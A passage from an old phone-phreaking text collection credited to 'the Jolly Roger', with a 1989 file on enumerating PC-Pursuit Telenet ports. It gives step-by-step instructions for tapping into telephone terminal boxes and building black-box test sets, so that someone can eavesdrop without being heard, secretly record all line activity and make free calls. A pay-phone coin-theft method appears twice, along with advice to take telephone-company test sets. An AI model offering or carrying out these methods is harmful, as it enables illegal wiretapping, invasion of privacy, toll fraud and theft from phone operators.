  7897. sets.   The  extra  wires  that  are  just  'hanging  there'  are  
  7898. provisions for extra lines to residences (1 extra line per house,  
  7899. thats  why  the insane charge for line #3!)  If its the  box  for  
  7900. your  house  also,  have fun and swap lines with  your  neighbor! 
  7901. 'Piggyback'  them  and  wreak havoc  on  the  neighborhood  (It's  
  7902. eavesdropping  time...)  Again,  I don't recommend this,  and its  
  7903. difficult to do it correctly.  Moving right along... 
  7904.      ------------------------------ 
  7905.      APARTMENT / BUSINESS MULTILINE 
  7906.            DISTRIBUTION BOXES 
  7907.      ------------------------------ 
  7908. Found  outside the buliding (most often on the  right  side,  
  7909. but not always...   Just follow the wire from the telephone pole)  
  7910. or  in the basement.   It has a terminal for all the lines in the  
  7911. building.   Use it just like any other termination box as before.  
  7912. Usually says 'Bell system' or similar.  Has up to 20 terminals on  
  7913. it (usually.) the middle ones are grounds (forget   these).   The  
  7914. wires come from the cable to one row (usually the left one), with 
  7915. the other row of terminals for the other row of terminals for the  
  7916. building  fone wire pairs.   The ring (-) wire is usually the top  
  7917. terminal if the set in the row (1 of 10 or more),  and the tip is  
  7918. in the clamp/screw below it.  This can be reversed, but the cable  
  7919. pair is always terminated one-on-top-of-each- other,  not on  the  
  7920. one  next  to  it.  (I'm  not sure why the other  one  is  there,  
  7921. probably as aprovision for extra lines) Don't use it  though,  it  
  7922. is usually to close to the other terminals, and in my experiences  
  7923. you get a noisy connection. 
  7924. Final note:  Almost every apartment, business, hotel, or anywhere  
  7925. there   is  more  than  2  lines  this  termination  lines   this  
  7926. termination method is used.  If you can master this type, you can  
  7927. be  in control of many things...   Look around in your area for a  
  7928. building  that  uses this type,  and practice hooking up  to  the  
  7929. line, etc. 
  7930. As  an  added  help,here is the basic  'standard'  color-code  for  
  7931. multiline terminals/wiring/etc... 
  7932. Single line:  Red = Ring 
  7933.             Green = Tip 
  7934.            Yellow = Ground * 
  7935. *  (Connected  to  the ringer coil  in  individual  and  bridged  
  7936.     ringer   phones (Bell only)  Usually  connected to the  green  
  7937.     (Tip) 
  7938. Ring (-) = Red 
  7939.            White/Red Stripe 
  7940.            Brown 
  7941.            White/Orange Stripe 
  7942.            Black/Yellow Stripe 
  7943. Tip (+) =  Green (Sometimes 
  7944.             yellow, see above.) 
  7945.            White/Green Stripe 
  7946.            White/Blue Stripe 
  7947.            Blue 
  7948.            Black/White Stripe 
  7949. Ground =   Black 
  7950.            Yellow 
  7951.       ---------------------- 
  7952.       RESIDENCE TERMINAL BOX 
  7953.       ---------------------- 
  7954. Small,  gray (can be either a rubber (Pacific Telephone) or  hard 
  7955. plastic  (AT & T) housing deal that connects the cable pair  from  
  7956. the  splitter box (See type 2,  above) on the pole to your  house  
  7957. wiring.  Only 2 (or 4, the 2 top terminals are hooked in parallel  
  7958. with the same line) terminals, and is very easy to use.  This can  
  7959. be  used to add more lines to your house or add an external  line  
  7960. outside the house. 
  7961.       --------- 
  7962.       TEST SETS 
  7963.       --------- 
  7964. Well,  now  you  can  consider  yourself a minor  expert  on  the  
  7965. terminals and wiring of the local telephone network.  Now you can  
  7966. apply  it  to whatever you want to do..  Here's another  helpful  
  7967. item: 
  7968. How  to  make  a Basic Test-Set and how to use it  to  dial  out,  
  7969. eavsdrop, or seriously tap and record line activity. 
  7970. These are  the  (usually) orange hand set fones  used  by  Telco  
  7971. technicians to test lines.   To make a very simple one,  take any  
  7972. Bell (or other,  but I recommend a good Bell fone like a princess  
  7973. or a trimline. gte flip fones work excllently, though..) fone and  
  7974. follow the instructions below. 
  7975. Note:    A 'black box' type fone mod will let you tap into  their  
  7976. line,  and with the box o,  it's as if you werent there. they can  
  7977. recieve  calls and dial out,  and you can be listening the  whole  
  7978. time! very useful.  With the box off, you have a normal fone test  
  7979. set. 
  7980. Instructions: 
  7981. A  basic black box works well with good results.   Take the cover  
  7982. off  the fone to expose the network box (Bell type  fones  only).   
  7983. The <RR> terminal should have a green wire going to it (orange or  
  7984. different  if  touch tone - doesnt matter,  its the same  thing).  
  7985. Disconnect the wire and connect it to one pole of an SPST switch.   
  7986. Connect  a  piece  of wire to the other pole of  the  switch  and  
  7987. connect it to the <RR> terminal.   Now take a 10k hm 1/2 watt 10%  
  7988. resistor  and  put  it  between the <RR>  terminal  ad  the  <F>  
  7989. terminal,  which  should have a blue and a white wire going to it  
  7990. (different for touch tone).  It should look like this: 
  7991. -----Blue wire----------<F> 
  7992.                    ! 
  7993. ----White wire-----! 
  7994.                    ! 
  7995.               10k Resistor 
  7996.                    ! 
  7997.                    ! 
  7998. --Green wire--     !----<RR> 
  7999.               !    ! 
  8000.                SPST 
  8001. What  this  does in effect is keep the hookswitch  /  dial  pulse  
  8002. switch (F to RR loop) open while holding the line high with  the  
  8003. resistor.   This gives the same voltage effect as if the fone was  
  8004. 'on-hook',  while  the 10k ohms holds the voltage right above the  
  8005. 'off hook' threshold (around 22 volts or so, as compared to 15-17   
  8006. or normal off hook 48 volts for normal 'on-hook'), giving 
  8007. Test Set Version 2.
  8008. Another  design is similar to the 'type 1' test set (above),  
  8009. but has some added features:
  8010. From >----------------Tip------<To Test 
  8011. Alligator                        set 
  8012. Clip >----------------Ring-----<phone 
  8013.             !                ! 
  8014.             x                ! 
  8015.             !                ! 
  8016.             o                ! 
  8017.             !    x---RRRRR---! 
  8018.             !   x            ! 
  8019.             !---x            ! 
  8020.                  x----0------! 
  8021. x    = Spst Switch 
  8022. o    = Red LOD        0   = Green LED 
  8023. RRRRR= 1.8k 1/2 watt  xxxx= Dpst switch 
  8024.         resistor 
  8025. When the SPST switch in on, the LED will light, and the fone  
  8026. will become active.   The green light should be on.  If it isn't,  
  8027. switch  the dpst.   If it still isnt,  check the polarity of  the  
  8028. line and the LEDs.   With both lights on, hang up the fone.  They  
  8029. should all be off now.   Now flip the dpst and pick up the  fone.   
  8030. The  red  LED shold be on,  but the green shouldnt.   If  it  is,  
  8031. something is wrong with the circuit.  You wont get a dial tone if  
  8032. all is correct. 
  8033. When  you  hook  up  to the line with  the  alligator  clips  
  8034. (Assuming you have put this circuit inside our fona and have  put  
  8035. alligator clips on the ring and tip wires (As we did before)) you  
  8036. should  have the spst #1 in the off posistion.  This will greatly  
  8037. reduce the static noise involved in hooking up to a line. The red  
  8038. LED can also be used to check if you have the correct polarity. 
  8039. With  this  fone you will have the ability to listen  in  on  
  8040. >all< audible line activity,  and the people (the 'eavesdropees')  
  8041. can use their fone as normal. 
  8042. Note that test sets #1 and #2 have true 'black boxes', and can be  
  8043. used for free calls (see an article about black boxes). 
  8044.  
  8045. Test Set Version 3 
  8046.  
  8047. To do test set 3: 
  8048. Using a trimline (or similar) phone, remove the base and cut  
  8049. all  of  the wire leads off except for the red (ring -)  and  the  
  8050. green  (tip +).   Solder alligator clips to the  lug.   The  wire  
  8051. itself  is  'tinsel' wrapped in rayon,  and doesnt solder  well.   
  8052. Inside  the one handset,  remove the light socket (if it has one)  
  8053. and install a small slide or  toggle switch (Radio Shack's micro-  
  8054. miniature  spst works well).   Locate the connection of the  ring  
  8055. and the tip wires on the pc board near where the jack is  located  
  8056. at the bottom of the handset.  (The wires are sometimes black or  
  8057. brow instead of red and green,  respectively).   Cut the foil and  
  8058. run 2 pieces of wire to your switch.  In parallel with the switch  
  8059. add  a .25 uf 200 VDC capacitor (mylar,  silvered mica,  ceramic,  
  8060. not  an electrolytic).  When the switch is  closed,  the  handset  
  8061. functions normally.   With the switch in the other position,  you  
  8062. can listen without being heard. 
  8063. Note:  To  reduce the noise involved in connecting the clips to a  
  8064. line,  add  a  switch selectable 1000 ohm 1/2  watt  resistor  in  
  8065. series with the tip wire. Flip it in circuit when connecting, and  
  8066. once on the line, flip it off again. (or just use the 'line disc-  
  8067. onect'  type  switch as in the type 2 test  set  (above)).   Also  
  8068. avoid   touching the alligator clips to any metal parts or  other  
  8069. terminals,  for  i causes static on the line and raises  poeple's  
  8070. suspicions.  
  8071.       --------- 
  8072.       RECORDING 
  8073.       --------- 
  8074. If you would like to record any activity,  use test set 1 or  
  8075. 2  above  (for unattended recording of >all< line  activity),  or  
  8076. just  any test set if you are going to be there to  monitor  when  
  8077. they are dialing, talking, etc.  
  8078. Place  a  telephone pickup coil (I recommend the Becoton  T-5  TP  
  8079. coil  or equivalent) onto the test set,  and put the TP plug into  
  8080. the mic.  jack of any standard tape recorder.  Hit play, rec, and  
  8081. pause.   Alternate  pause when you want to record (I  dont  think  
  8082. anyone should have any difficulty with this at all...) 
  8083. Well,  if  you  still can't make a test set or you dont have  the  
  8084. parts, there's still hope.  Alternate methods:          
  8085. 1>  Find  a  bell test set in a manhole or a  bridging  head  and  
  8086. 'Borrow it indefinately... 
  8087. 2>  Test sets can  be  purchased from: 
  8088.     Techni-Tool 
  8089.     5 Apollo Road 
  8090.     Box 368 
  8091.     Plymouth Meeting PA., 19462 
  8092. Ask for catalog #28 
  8093. They  are usually $300 - $600, and are supposed to have  MF  
  8094. dialing  capability as well as TT dialing.  They are also of much  
  8095. higher quality than the standard bell test sets. 
  8096. If you would like to learn more about the subjects covered here,  
  8097. I suggest: 
  8098. 1>  Follow Bell trucks and linemen or technicians and ask  subtle  
  8099.     questions. also try 611 (repair service) and ask questions.. 
  8100. 2> Explore your area for any Bell hardware,  and experiment  with  
  8101.    it.  Don't try something if you are not sure what youre doing,  
  8102.    because you wouldnt want to cause problems, would you? 
  8103.  
  8104.                                ------------------Jolly Roger
  8105.  
  8106. Getting Money out of Pay Phones                by the Jolly Roger
  8107.  
  8108. I will now share with you my experiences with pay telephones.  You will discover
  8109. that it is possible to get money from a pay phone with a minimum of effort.
  8110. Theory: Most pay phones use four wires for the transmission of data and 
  8111. codes to the central office.  Two of them are used for voice (usually red and
  8112. green), one is a ground, and the last is used with the others for the
  8113. transmission of codes.
  8114. It is with this last wire that you will be working with.  On the pay phone that
  8115. I usually did this to, it was colored purple, but most likely will be another
  8116. color.
  8117. What you will do is simply find a pay phone which has exposed wires, such that
  8118. one of them can be disconnected and connected at ease without
  8119. fear of discovery. You will discover that it is usually a good idea to
  8120. have some electrical tape along with you and some tool for cutting this
  8121. tape. 
  8122. Through trial and error, you will disconnect one wire at a time starting with
  8123. the wires different than green and red.  You do want a dial tone during
  8124. this operation.
  8125. What you want to disconnect is the wire supplying the codes to the telephone
  8126. company so that the pay phone will not get the 'busy' or 'hang-up' command.
  8127. Leave this wire disconnected when you discover it.
  8128. What will happen:  Anytime that someone puts any amount of money into the pay
  8129. phone, the deposit will not register with the phone company and it
  8130. will be held in the 'temporary' chamber of the pay phone.
  8131. Then, (a day later or so) you just code back to the phone, reconnect the wire,
  8132. and click the hook a few times and the phone will dump it all out the shute.
  8133. (What is happening is that the 'hangup' code that the phone was not
  8134. receiving due to the wire being disconnected suddenly gets the code and
  8135. dumps its' 'temporary' storage spot.)
  8136. You can make a nice amount of money this way, but remember
  8137. that a repairman will stop by every few times it is reported broken and
  8138. repair it, so check it at least once a day.
  8139. Enjoy and have fun.. Many phones I have done this to, and it works
  8140. well with each..  
  8141.                              --------------------Jolly Roger
  8142.  
  8143. Getting Money out of Pay Phones                by the Jolly Roger
  8144.  
  8145. I will now share with you my experiences with pay telephones.  You will discover
  8146. that it is possible to get money from a pay phone with a minimum of effort.
  8147. Theory: Most pay phones use four wires for the transmission of data and 
  8148. codes to the central office.  Two of them are used for voice (usually red and
  8149. green), one is a ground, and the last is used with the others for the
  8150. transmission of codes.
  8151. It is with this last wire that you will be working with.  On the pay phone that
  8152. I usually did this to, it was colored purple, but most likely will be another
  8153. color.
  8154. What you will do is simply find a pay phone which has exposed wires, such that
  8155. one of them can be disconnected and connected at ease without
  8156. fear of discovery. You will discover that it is usually a good idea to
  8157. have some electrical tape along with you and some tool for cutting this
  8158. tape. 
  8159. Through trial and error, you will disconnect one wire at a time starting with
  8160. the wires different than green and red.  You do want a dial tone during
  8161. this operation.
  8162. What you want to disconnect is the wire supplying the codes to the telephone
  8163. company so that the pay phone will not get the 'busy' or 'hang-up' command.
  8164. Leave this wire disconnected when you discover it.
  8165. What will happen:  Anytime that someone puts any amount of money into the pay
  8166. phone, the deposit will not register with the phone company and it
  8167. will be held in the 'temporary' chamber of the pay phone.
  8168. Then, (a day later or so) you just code back to the phone, reconnect the wire,
  8169. and click the hook a few times and the phone will dump it all out the shute.
  8170. (What is happening is that the 'hangup' code that the phone was not
  8171. receiving due to the wire being disconnected suddenly gets the code and
  8172. dumps its' 'temporary' storage spot.)
  8173. You can make a nice amount of money this way, but remember
  8174. that a repairman will stop by every few times it is reported broken and
  8175. repair it, so check it at least once a day.
  8176. Enjoy and have fun.. Many phones I have done this to, and it works
  8177. well with each..  
  8178.                              --------------------Jolly Roger
  8179.  
  8180. Computer Based PBX                     Courtesy of the Jolly Roger
  8181.     (Originally an Apple ][ file for forgive the upper case!)
  8182.  
  8183. TO GET A BETTER UNDERSTANDING OF WHAT A PBX CAN DO, HERE ARE A FEW BASIC
  8184. FUNDAMENTALS.THE MODERN PBX IS A COMBINED COMPUTER,MASS STORAGE DEVICE,
  8185. AND OF COURSE A SWITCHING SYSTEM THAT CAN:
  8186.       [1] PRODUCE ITEMIZED,AUTOMATED BILLING PROCEDURES,TO ALLOW THE
  8187.           IDENTIFICATION AND MANAGEMENT OF TOLL CALLS. [HAHAHA]
  8188.       [2] COMBINE DAYTIME VOICE GRADE COMMUNICATION CIRCUITS INTO
  8189.           WIDEBAND DATA CHANNELS FOR NIGHT TIME HIGH SPEED DATA
  8190.           TRANSFERS.
  8191.       [3] HANDLES ELECTRONIC MAIL [ INCLUDING OFFICE MEMOS ].
  8192.       [4] COMBINE VOICE CHANNELS INTO A WIDEBAND AUDIO/VISUAL
  8193.           CONFERENCE CIRCUIT,WITH THE ABILITY TO XFER AND
  8194.           CAPTURE SLIDES,FLIPCHARTS,PICTURES OF ANY KIND.
  8195. BOTH THE EXTERNAL AND INTERNAL CALLING CAPACITY OF THE PBX SYSTEM MUST BE
  8196. CAREFULLY CONSIDERED BECAUSE MANY BUSINESS OPERATIONS RUN A VERY HIGH RATIO
  8197. OF INTERNAL STATION TO STATION DIALING AND A LOW CAPACITY SYSTEM WILL NOT
  8198. HANDLE THE REQUESTED TRAFFIC LOAD.
  8199. A CRITICAL FACTOR IS THE NUMBER OF TRUNKS AND THE CENTRAL OFFICE FACILITIES
  8200. THAT ARE USED FOR OUTSIDE CONNECTIONS.ANOTHER IS THE NUMBER OF JUNCTIONS OR
  8201. [LINKS] THAT MAKE UP THE INTERNAL CALLING PATHS.
  8202. TO UNDERSTAND THE SERVICES AVAILABLE ON A TYPICAL COMPUTER RUN PBX IT IS
  8203. NECESSARY TO INTRODUCE THE SUBJECT OF TIME DIVISION SWITCHING.IN A TIME
  8204. DIVISION SWITCHING NETWORK ALL CONNECTIONS ARE MADE VIA A SINGLE COMMON BUS
  8205. CALLED (OF COURSE) A 'TIME-DIVISION BUS'.EVERY LINE TRUNK THAT REQUIRES A
  8206. CONNECTION WITH ANOTHER IS PROVIDED WITH A PORT CIRCUIT.ALL PORT CIRCUITS
  8207. HAVE ACCESS TO THE TIME DIVISION BUS THROUGH A TIME DIVISION SWITCH.
  8208. [WHEN TWO PORTS REQUKRE CONNECTION,THEIR TIME DIVISION SWITCHES OPERATE AT
  8209. A VERY HIGH FREQUENCY (16,000 TIMES PER SECOND).THIS TECHNIQUE,WHICH IS
  8210. CALLED 'SPEECH SAMPLING',ALLOWS MANY SIMULTANEOUS CONNECTIONS OVER THE SAME
  8211. TIME DIVKSION BUS.EACH CONNECTION IS ASSIGNED A TIME INTERVAL,THE 'TIME SLOT'
  8212. ,AND THE NUMBER OF TIME SLOTS IDENTIFIES THE NUMBER OF SIMULTANEOUS CONNECT-
  8213. IONS AMONG PORTS.]
  8214. THE NEXT CRITICAL ITEM IS CIRCUIT PACKS.THE SYSTEM ELEMENTS THAT WE WILL BE
  8215. DESCRIBING IN FUTURE TUTORIALS [LINES/TRUNKS/SWITCHES,MEMORY AND CONTROL] ARE
  8216. CONTAINED ON PLUG IN CIRCUIT PACKS.EACH LINE CIRCUIT PACK CONTAINS A NUMBER
  8217. OF LINES,IN EXAMPLE,FOUR.BUT THE ASSIGNMENT OF STATION NUMBERS TO ACTUAL
  8218. PHONE LINE CIRCUITS IS FLEXIBLE.
  8219. THE SYSTEM MEMORY IS CONTAINED IN CIRCUIT PACKS WHICH PROVIDE THE CALL
  8220. PROCESSING FUNCTIONS.THE CIRCUIT PACKS ARE HELD IN SMALL FRAMES CALLED
  8221. 'CARRIERS'.WITHIN EACH CARRIER,THE CIRCUIT PACKS ARE PLUGGED INTO POSITIONS:
  8222. THE 'SLOTS'.EVERY CIRCUIT CAN BE ADDRESSED BY,SAY A FIVE DIGIT NUMBER WHICH
  8223. TELLS ITS LOCATION BY CARRIER-SLOT-CIRCUIT.... [STARTING TO GET THE IDEA?]
  8224. THERE CAN BE THREE TYPES OF CARRIERS IN A MODERN PBX SYSTEM:
  8225.                 O LINE CARRIERS
  8226.                 O TRUNK CARRIERS
  8227.                 O CONTROL CARRIERS
  8228. THE LINE CARRIERS CONTAIN STATION LINES.IN A.T.& T.'S "DIMENSION" MODEL,FOR
  8229. EXAMPLE,A TOTAL OF 52 TO 64 LINES ARE PROVIDED.THE TRUNK CARRIERS CONTAIN
  8230. SLOTS FOR 16 TRUNK CIRCUIT PACKS.THE CONTROL CARRIER INCLUDES PROCESSOR,
  8231. MEMORY,CONTROL CIRCUITRY,DATA CHANNELS FOR ATTENDANT CONSOLE CONTROL AND
  8232. TRAFFIC MEASUREMENT OUTPUTS.
  8233. PBX SYSTEMS WILL DIRECTLY REFLECT THE TYPES OF SERVICES OFFERED AT THE C.O.
  8234.            O CCSA
  8235.            O CCIS
  8236.            O PICTUREPHONES [SOONER THAN YOU THINK MY PHRIENDS]
  8237. COMMON CONTROL SWITCHING ARRANGEMENTS ( CCSA ) PERMIT ANY UNRESTRICTED TELE-
  8238. PHONE STATION TO CALL ANY OTHET INTERNAL OR EXTERNAL SYSTEM STATION BY USING
  8239. THE STANDARD SEVEN DIGIT NUMBER.ALTERNATE ROUTING IS A FEATURE OF CCSA SERVICE
  8240. THE INTERFACILITY,ALTERNATE ROUTED CALLING PATHS ARE ACCOMPLISHED AT THE TELE-
  8241. PHONE COMPANY CENTRAL OFFICE LEVEL,NOT AT THE PBX LEVEL.
  8242. A SYSTEM OF INTEREST TO LARGE SCALE TELEPHONE USERS IS COMMON CHANNEL INTER-
  8243. OFFICE SIGNALLING (CCIS).TYPICALLY,THIS TECHNIQUE EMPLOYS COMMON CHANNELS TO
  8244. CARRY ALL INTERFACILITY SIGNALLING INSTRUCTIONS: DIAL PULSES,ON HOOK (IDLE),
  8245. OFF HOOK (BUSY),AND SO ON,BETWEEN TWO SWITCHING CENTERS. [ GETTING WARM ].
  8246. CCIS REPLACES OLDER METHODS OF INTEROFFICE SIGNALLING SUCH AS 'IN BAND' AND
  8247. 'OUT OF BAND' TECHNIQUES. BY THE WAY,REAL PHREAKS ARE SELLING THEIR BOXES TO
  8248. IDIOTS WHO STILL THINK THE'RE WORTH ALOT...THE FORMER (IN BAND) TRANSMITS
  8249. SIGNALLING DATA WITHIN THE NORMAL CONVERSATION BANDWIDTH.IT'S SHORTCOMING IS
  8250. THAT FALSE INFORMATION MAY BE TRANSMITTED DUE TO UNIQUE TONE OR NOISE
  8251. COMBINATIONS SET UP IN THE TALKING PATH. [THIS IS THE OFFICIAL REASONING].
  8252. OUT OF BAND SIGNALLING TECHNIQUES PLACED THE INTEROFFICE DATA IN SPECIAL
  8253. CHANNELS,GENERALLY ADJACENT TO AND IMMEDIATELY ABOVE THE VOICE PATH.TO PRE-
  8254. SERVE INTERCHANNEL INTEGRITY,OUT OF BAND SIGNALLING REQUIRES VERY EFFECIENT
  8255. FILTERING OR GREATER 'BAND GUARD' SEPERATION BETWEEN CHANNELS.
  8256.  
  8257. Brought to you in the Cookbook courtesy of the Jolly Roger!!!!!!!!!!!!
  8258.  
  8259.  
  8260.  
  8261.          Subject:    PC-Pursuit Port Statistic's 
  8262.          Date:       06/29/89 
  8263.          Written by: PC-Pursuit Users 
  8264.          ============================================================ 
  8265.          Introduction: 
  8266.          ============= 
  8267.               The last 30 days of PC-Pursuit have been extremely 
  8268.          controversial.  Users and ex-users have demanded accurate 
  8269.          statistics, and Telenet has provided us with very little. 
  8270.          And the data that was provided is questionable.  Well, here 
  8271.          is some data that is guaranteed to be accurate and make 
  8272.          Telenet scream. If you wish to update this data on your own, 
  8273.          we will tell you how later in this text. 
  8274.               The following chart consists of all the direct Telenet 
  8275.          addresses of the PC-Pursuit city nodes and the total number 
  8276.          of modems on each node.  Here is what the data means: 
  8277.          NJNEW/3 2011    .12    56 
  8278.          !     ! !        !      \-- Total Number of Modems in NJNEW 
  8279.          !     ! !        \- Last Working Suffix of Address sequence. 
  8280.          !     ! \- Direct Telenet Address Prefix. 
  8281.          !     \--- Baud Rate of This Port is 300. 
  8282.          \--------- Mnemonic. 
  8283.          Please note that there are several perfectly legal ways to 
  8284.          connect to a PC-Pursuit port such as NJNEW/3: 
  8285.               Ways To Connect to NJNEW/3: 
  8286.                    1)   C D/NJNEW/3,PCP10000,<password>   [HUNT] 
  8287.                    2)   C 2011,PCP10000,<password>        [HUNT] 
  8288.                    3)   C 2011.10,PCP10000,<password>     [NON HUNT] 
  8289.          The first, is self explanatory.  The second does the same 
  8290.          thing as the first, only that it is slightly faster and gives 
  8291.          the user much greater flexibility.  The third is an example 
  8292.          the flexibility, because a request is made to connect to the 
  8293.          tenth, and only the tenth, modem on the NJNEW/3 port. 
  8294.               By simply attempting to connect to every single modem 
  8295.          in the 2011 chain, we were able to count the number of modems 
  8296.          on each port and come up with the following charts which were
  8297.          extracted on June the twenty ninth of the year 1989: 
  8298.          Rotary   Direct  Max.  City     Rotary   Direct  Max.  City 
  8299.          Port     Address Range Total    Port     Address Range Total 
  8300.          -------- ------- ---   -----    -------- ------- ---   ----- 
  8301.          NJNEW/3  2011    .12   56       CAOAK/3  4155    . 4   16 
  8302.               /12 201301  .40                 /12 415216  . 8   
  8303.               /24 20122   . 4                 /24 41511   . 4   
  8304.          DCWAS/3  202115  . 6   46       CAPAL/3  415106  . 4   12 
  8305.               /12 202116  .24                 /12 415224  . 8   
  8306.               /24 202117  .16                 /24 <NONE> <NONE> 
  8307.          CTHAR/3  <NONE> <NONE>  8       CASFA/3  415215  . 6   20 
  8308.               /12 203120  . 8                 /12 415217  .10   
  8309.               /24 <NONE> <NONE>               /24 41523   . 4   
  8310.          WASEA/3  20617   . 4   30       ORPOR/3  50320   . 2    8 
  8311.               /12 20619   .22                 /12 50321   . 6   
  8312.               /24 20621   . 4                 /24 <NONE> <NONE> 
  8313.          NYNYO/3  212315  . 4   22       AZPHO/3  60222   . 4   20 
  8314.               /12 212316  .14                 /12 60223   .12   
  8315.               /24 21228   . 4                 /24 60226   . 4   
  8316.          CALAN/3  213412  . 8   40       MNMIN/3  612120  . 4   22 
  8317.               /12 213413  .28                 /12 612121  .14   
  8318.               /24 21323   . 4                 /24 61222   . 4   
  8319.          TXDAL/3  214117  . 6   30       MABOS/3  617311  . 4   32 
  8320.               /12 214118  .22                 /12 617313  .20   
  8321.               /24 21422   . 4                 /24 61726   . 8   
  8322.          PAPHI/3  215112  . 6   36       TXHOU/3  713113  . 8   42 
  8323.               /12 2155    .22                 /12 713114  .24   
  8324.               /24 21522   . 8                 /24 71324   .10   
  8325.          OHCLE/3  21620   . 4   26       CACOL/3  71423   . 4   18 
  8326.               /12 21621   .18                 /12 7144    .10   
  8327.               /24 216120  . 4                 /24 71424   . 4   
  8328.          CODEN/3  303114  . 4   40       CASAN/3  714119  . 4   20 
  8329.               /12 303115  .18                 /12 714213  .12   
  8330.               /24 30321   .22                 /24 714124  . 4   
  8331.          FLMIA/3  305120  . 6   28       CASDI/3  714102  . 4   22 
  8332.               /12 305121  .18            (619)/12 714210  .14   
  8333.               /24 305122  . 4                 /24 714121  . 4   
  8334.          ILCHI/3  312410  . 8   40       UTSLC/3  80120   . 4   22 
  8335.               /12 312411  .28                 /12 80121   .14   
  8336.               /24 31224   . 4                 /24 80112   . 4   
  8337.          MIDET/3  313214  . 6   30       FLTAM/3  81320   . 4   18 
  8338.               /12 313216  .18                 /12 81321   .10   
  8339.               /24 31324   . 6                 /24 813124  . 4   
  8340.          MOSLO/3  3145    . 4   16       MOKCI/3  816104  . 4   20 
  8341.               /12 314421  . 8                 /12 816221  .12   
  8342.               /24 31420   . 4                 /24 816113  . 4   
  8343.          GAATL/3  404113  . 8   32       CAGLE/3                ?? 
  8344.               /12 404114  .20                 /12 81821   .18   
  8345.               /24 40422   . 4                 /24   
  8346.          CASJO/3  408111  . 4   34       CASAC/3  9167    . 4   16 
  8347.               /12 40821   .26                 /12 91611   . 8   
  8348.               /24 408110  . 4                 /24 91612   . 4   
  8349.          WIMIL/3  41420   . 4   24       NCRTP/3  91920   . 4   20 
  8350.               /12 41421   .16                 /12 91921   .12   
  8351.               /24 414120  . 4                 /24 919124  . 4   
  8352.  
  8353.          01/29/89       PC-Pursuit Modems Statistics Chart 
  8354.                                  Number of Modems         City 
  8355.               Mnemonic        300      1200      2400     Total 
  8356.               ---------- -------- --------- --------- --------- 
  8357.               NJNEW            12        40         4        56 
  8358.               DCWAS             6        24        16        46 
  8359.               CTHAR             0         8         0         8 
  8360.               WASEA             4        22         4        30 
  8361.               NYNYO             4        14         4        22 
  8362.               CALAN             8        28         4        40 
  8363.               TXDAL             6        22         4        32 
  8364.               PAPHI             6        22         8        36 
  8365.               OHCLE             4        18         4        26 
  8366.               CODEN             4        18        22        44 
  8367.               FLMIA             6        18         4        28 
  8368.               ILCHI             8        28         4        40 
  8369.               MIDET             6        18         6        30 
  8370.               MOSLO             4         8         4        16 
  8371.               GAATL             8        20         4        32 
  8372.               CASJO             4        26         4        34 
  8373.               WIMIL             4        16         4        24 
  8374.               CAOAK             4         8         4        16 
  8375.               CAPAL             4         8         0        12 
  8376.               CASFA             6        10         4        20 
  8377.               ORPOR             2         6         0         8 
  8378.               AZPHO             4        12         4        20 
  8379.               MNMIN             4        14         4        22 
  8380.               MABOS             4        20         8        32 
  8381.               TXHOU             8        24        10        42 
  8382.               CACOL             4        10         4        18 
  8383.               CASAN             4        12         4        20 
  8384.               CASDI             4        14         4        22 
  8385.               UTSLC             4        14         4        22 
  8386.               FLTAM             4        10         4        18 
  8387.               MOKCI             4        12         4        20 
  8388.               CAGLE             4        18         4        26 
  8389.               CASAC             4         8         4        16 
  8390.               NCRTP             4        12         4        20 
  8391.                          -------- --------- --------- --------- 
  8392.               Total           166       562       170       898 
  8393.                          ======== ========= ========= ========= 
  8394.               Average   4.8823529 16.529412         5 26.411765 
  8395.               NOTE: CASAC/3, CASAC/24 were estimated. 
  8396.          I think the statistics basically speak for themselves. 
  8397.          I am sure there will no doubt be hundreds of people who will 
  8398.          not smile at the number of specific kinds of ports supported, 
  8399.          not to mention the number of 'dead' or 'down' modems you will 
  8400.          find when you verify the totals.  Usually, 2% to perhaps 10% 
  8401.          of the modems are 'dead' with specific ones repeatedly 
  8402.          failing week after week. 
  8403.          History Of This Collection: 
  8404.          =========================== 
  8405.               Almost a year ago a small selected group of devoted 
  8406.          individuals got together to discuss problems with the PC- 
  8407.          Pursuit Network, in the middle of our discussions a question 
  8408.          was asked as to how the network really processes our calls. 
  8409.          This was intended to help us assess SET? commands and other 
  8410.          such matters.  When the address hypothesis was offered we 
  8411.          quickly set out to prove it.  It was proved in about 3 
  8412.          minutes with the discovery of 2011 (First try was xxx1).  The 
  8413.          data has continually been collected and analyzed ever since, 
  8414.          but until now, has never been mass released. 
  8415.               A small group of teen age hackers discovered several 
  8416.          interesting things that can be done with these addresses-- 
  8417.          many of which will not be discussed here short of mentioning 
  8418.          that these ports connected to via these addresses are not 
  8419.          limited to PC-Pursuiters.  You can, however, fight "dead" 
  8420.          dialout modems in cities via the address method.  Dead modems 
  8421.          can be located in about 10 seconds (faster than Telenet), and 
  8422.          can either be reported or skipped past by the user connecting 
  8423.          to the next modem in the sequence after the "dead" one. 
  8424.          (Note: Say 2011.3 is dead, connect to 2011.4 and you will be 
  8425.          past it.  If 2011.4 is busy, go to 2011.5.  The reader should 
  8426.          notice 2011.3 is the same as 2011C.) 
  8427.               The most interesting value of these addresses is that 
  8428.          one can count the number of ports that Telenet keeps so 
  8429.          secret (Grin).  When there were only 28 cities in operation 
  8430.          there were an average of 2.7 300 baud, 9.4 1200 baud, and 2.5 
  8431.          2400 baud modems in each city.  Some cities had as little as 
  8432.          2 modems on a port and as many as 12.  Only recently has the 
  8433.          number of modems per city begun to jump. 
  8434.          How To Update The Count Yourself: 
  8435.          ================================= 
  8436.               An ID is not required to "request" one of these ports, 
  8437.          thus the tallying can be done any time of day by simply 
  8438.          typing the number at the @ prompt.  Here is an example with 
  8439.          four modems (NJNEW/24): 
  8440.          @20122.1 
  8441.          201 22A REFUSED COLLECT CONNECTION 19 80 
  8442.          @20122.2 
  8443.          201 22B REFUSED COLLECT CONNECTION 19 80 
  8444.          @20122.3 
  8445.          201 22C REFUSED COLLECT CONNECTION 19 80 
  8446.          @20122.4 
  8447.          201 22D REFUSED COLLECT CONNECTION 19 80 
  8448.          @20122.5 
  8449.          201 22E ILLEGAL ADDRESS 19 80 
  8450.          The reader should be aware that PC-Pursuit ports always 
  8451.          respond with '19 80'.  Do not confuse it with '19 00', which 
  8452.          are not PC-Pursuit ports.  In the above example we know there 
  8453.          are four ports because the forth was the last existing port 
  8454.          before we encountered the 'ILLEGAL ADDRESS.'  There are 
  8455.          several ways to signify that you have gone one beyond the end 
  8456.          of the ports: 
  8457.             1)  xxx xxx ILLEGAL ADDRESS 19 80 
